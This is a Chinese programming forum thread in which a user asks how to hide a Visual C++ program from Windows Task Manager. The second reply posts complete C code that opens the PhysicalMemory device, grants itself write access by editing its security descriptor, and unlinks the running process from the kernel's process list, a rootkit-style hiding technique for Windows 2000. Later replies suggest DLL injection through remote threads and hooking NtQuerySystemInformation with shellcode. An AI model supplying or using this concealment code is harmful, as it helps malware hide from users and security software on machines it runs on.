VC开发的程序如何在任务管理器的进程中隐藏

[hzy694358]

VC开发的程序如何在任务管理器的进程中隐藏。
就是不让他在任务管理器的进程列表中显示出来

[一笑拔剑]

#include<windows.h> 
#include<Accctrl.h> 
#include<Aclapi.h> 
//Powered by barenx
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) 

typedef LONG NTSTATUS; 
typedef struct _IO_STATUS_BLOCK 
...{ 
NTSTATUS Status; 
ULONG Information; 
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 

typedef struct _UNICODE_STRING 
...{ 
USHORT Length; 
USHORT MaximumLength; 
PWSTR Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; 

#define OBJ_INHERIT 0x00000002L 
#define OBJ_PERMANENT 0x00000010L 
#define OBJ_EXCLUSIVE 0x00000020L 
#define OBJ_CASE_INSENSITIVE 0x00000040L 
#define OBJ_OPENIF 0x00000080L 
#define OBJ_OPENLINK 0x00000100L 
#define OBJ_KERNEL_HANDLE 0x00000200L 
#define OBJ_VALID_ATTRIBUTES 0x000003F2L 

typedef struct _OBJECT_ATTRIBUTES 
...{ 
ULONG Length; 
HANDLE RootDirectory; 
PUNICODE_STRING ObjectName; 
ULONG Attributes; 
PVOID SecurityDescriptor; 
PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( 
OUT PHANDLE SectionHandle, 
IN ACCESS_MASK DesiredAccess, 
IN POBJECT_ATTRIBUTES ObjectAttributes 
); 

typedef VOID (CALLBACK* RTLINITUNICODESTRING)( 
IN OUT PUNICODE_STRING DestinationString, 
IN PCWSTR SourceString 
); 

RTLINITUNICODESTRING RtlInitUnicodeString; 
ZWOPENSECTION ZwOpenSection; 
HMODULE g_hNtDLL = NULL; 
PVOID g_pMapPhysicalMemory = NULL; 
HANDLE g_hMPM = NULL; 

BOOL InitNTDLL() 
...{ 
g_hNtDLL = LoadLibrary( "ntdll.dll" ); 
if ( !g_hNtDLL ) 
...{ 
return FALSE; 
} 

RtlInitUnicodeString = 
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); 

ZwOpenSection = 
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); 

return TRUE; 
} 

VOID CloseNTDLL() 
...{ 
if(g_hNtDLL != NULL) 
...{ 
FreeLibrary(g_hNtDLL); 
} 
} 

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) 
...{ 

PACL pDacl=NULL; 
PACL pNewDacl=NULL; 
PSECURITY_DESCRIPTOR pSD=NULL; 
DWORD dwRes; 
EXPLICIT_ACCESS ea; 

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, 
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
ea.grfAccessPermissions = SECTION_MAP_WRITE; 
ea.grfAccessMode = GRANT_ACCESS; 
ea.grfInheritance= NO_INHERITANCE; 
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 
ea.Trustee.TrusteeType = TRUSTEE_IS_USER; 
ea.Trustee.ptstrName = "CURRENT_USER"; 


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

CleanUp: 

if(pSD) 
LocalFree(pSD); 
if(pNewDacl) 
LocalFree(pNewDacl); 
} 

HANDLE OpenPhysicalMemory() 
...{ 
NTSTATUS status; 
UNICODE_STRING physmemString; 
OBJECT_ATTRIBUTES attributes; 

RtlInitUnicodeString( &physmemString, L"\Device\PhysicalMemory" ); 

attributes.Length = sizeof(OBJECT_ATTRIBUTES); 
attributes.RootDirectory = NULL; 
attributes.ObjectName = &physmemString; 
attributes.Attributes = 0; 
attributes.SecurityDescriptor = NULL; 
attributes.SecurityQualityOfService = NULL; 

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); 

if(status == STATUS_ACCESS_DENIED)...{ 
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); 
SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
CloseHandle(g_hMPM); 
status =ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes); 
} 

if( !NT_SUCCESS( status )) 
...{ 
return NULL; 
} 

g_pMapPhysicalMemory = MapViewOfFile( 
g_hMPM, 
4, 
0, 
0x30000, 
0x1000); 
if( g_pMapPhysicalMemory == NULL ) 
...{ 
return NULL; 
} 

return g_hMPM; 
} 

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) 
...{ 
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; 
PGDE=BaseAddress[VAddr>>22]; 
if ((PGDE&1)!=0) 
...{ 
ULONG tmp=PGDE&0x00000080; 
if (tmp!=0) 
...{ 
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); 
} 
else 
...{ 
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); 
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; 
if ((PTE&1)!=0) 
...{ 
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); 
UnmapViewOfFile((PVOID)PGDE); 
} 
else return 0; 
} 
} 
else return 0; 

return (PVOID)PAddr; 
} 

ULONG GetData(PVOID addr) 
...{ 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return 0; 
ULONG ret=tmp[(phys & 0xFFF)>>2]; 
UnmapViewOfFile(tmp); 
return ret; 
} 

BOOL SetData(PVOID addr,ULONG data) 
...{ 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return FALSE; 
tmp[(phys & 0xFFF)>>2]=data; 
UnmapViewOfFile(tmp); 
return TRUE; 
} 

BOOL HideProcessAtAll() 
...{ 
if (InitNTDLL()) 
...{ 
if (OpenPhysicalMemory()==0) 
...{ 
return FALSE; 
} 
ULONG thread=GetData((PVOID)0xFFDFF124); 
ULONG process=GetData(PVOID(thread+0x22c)); 
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4)); 
SetData(PVOID(fw+4),bw); 
SetData(PVOID(bw),fw); 
CloseHandle(g_hMPM); 
CloseNTDLL(); 
} 
return TRUE; 
} 

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/barenx/archive/2008/03/28/2224325.aspx

[nishinagea]

想做病毒？

[neohope]

最好是dll注入，退出主进程

[hzy694358]

你说的dll注入，是什么意思，能解释清楚点吗，谢谢

[zoulie]

就是远程线程，步骤可看下windows 核心编程里的 好像是22章里有具体的例子

[zoulie]

不过过不了杀软，都会拦截的

[yoyo81824]

学习了，谢谢！

[litomboy]

这是2K环境下的,不知道在XP环境下还好用吗?

[allix123]

up

[chenhui530]

vc搞这个非常简单的，就算不写驱动不用dll都还是简单。
自己写段shellcode hook NtQuerySystemInformation就可以了

[路人乙2019]

二楼写明白了.

[sunrl1985]

估计NT内核不行把，要隐藏只能把Dll注入别的进程里运行

[danxuezx]

[Quote=引用 4 楼 hzy694358 的回复:]
你说的dll注入，是什么意思，能解释清楚点吗，谢谢
[/Quote]
http://www.cppblog.com/cjz/archive/2007/08/12/29819.aspx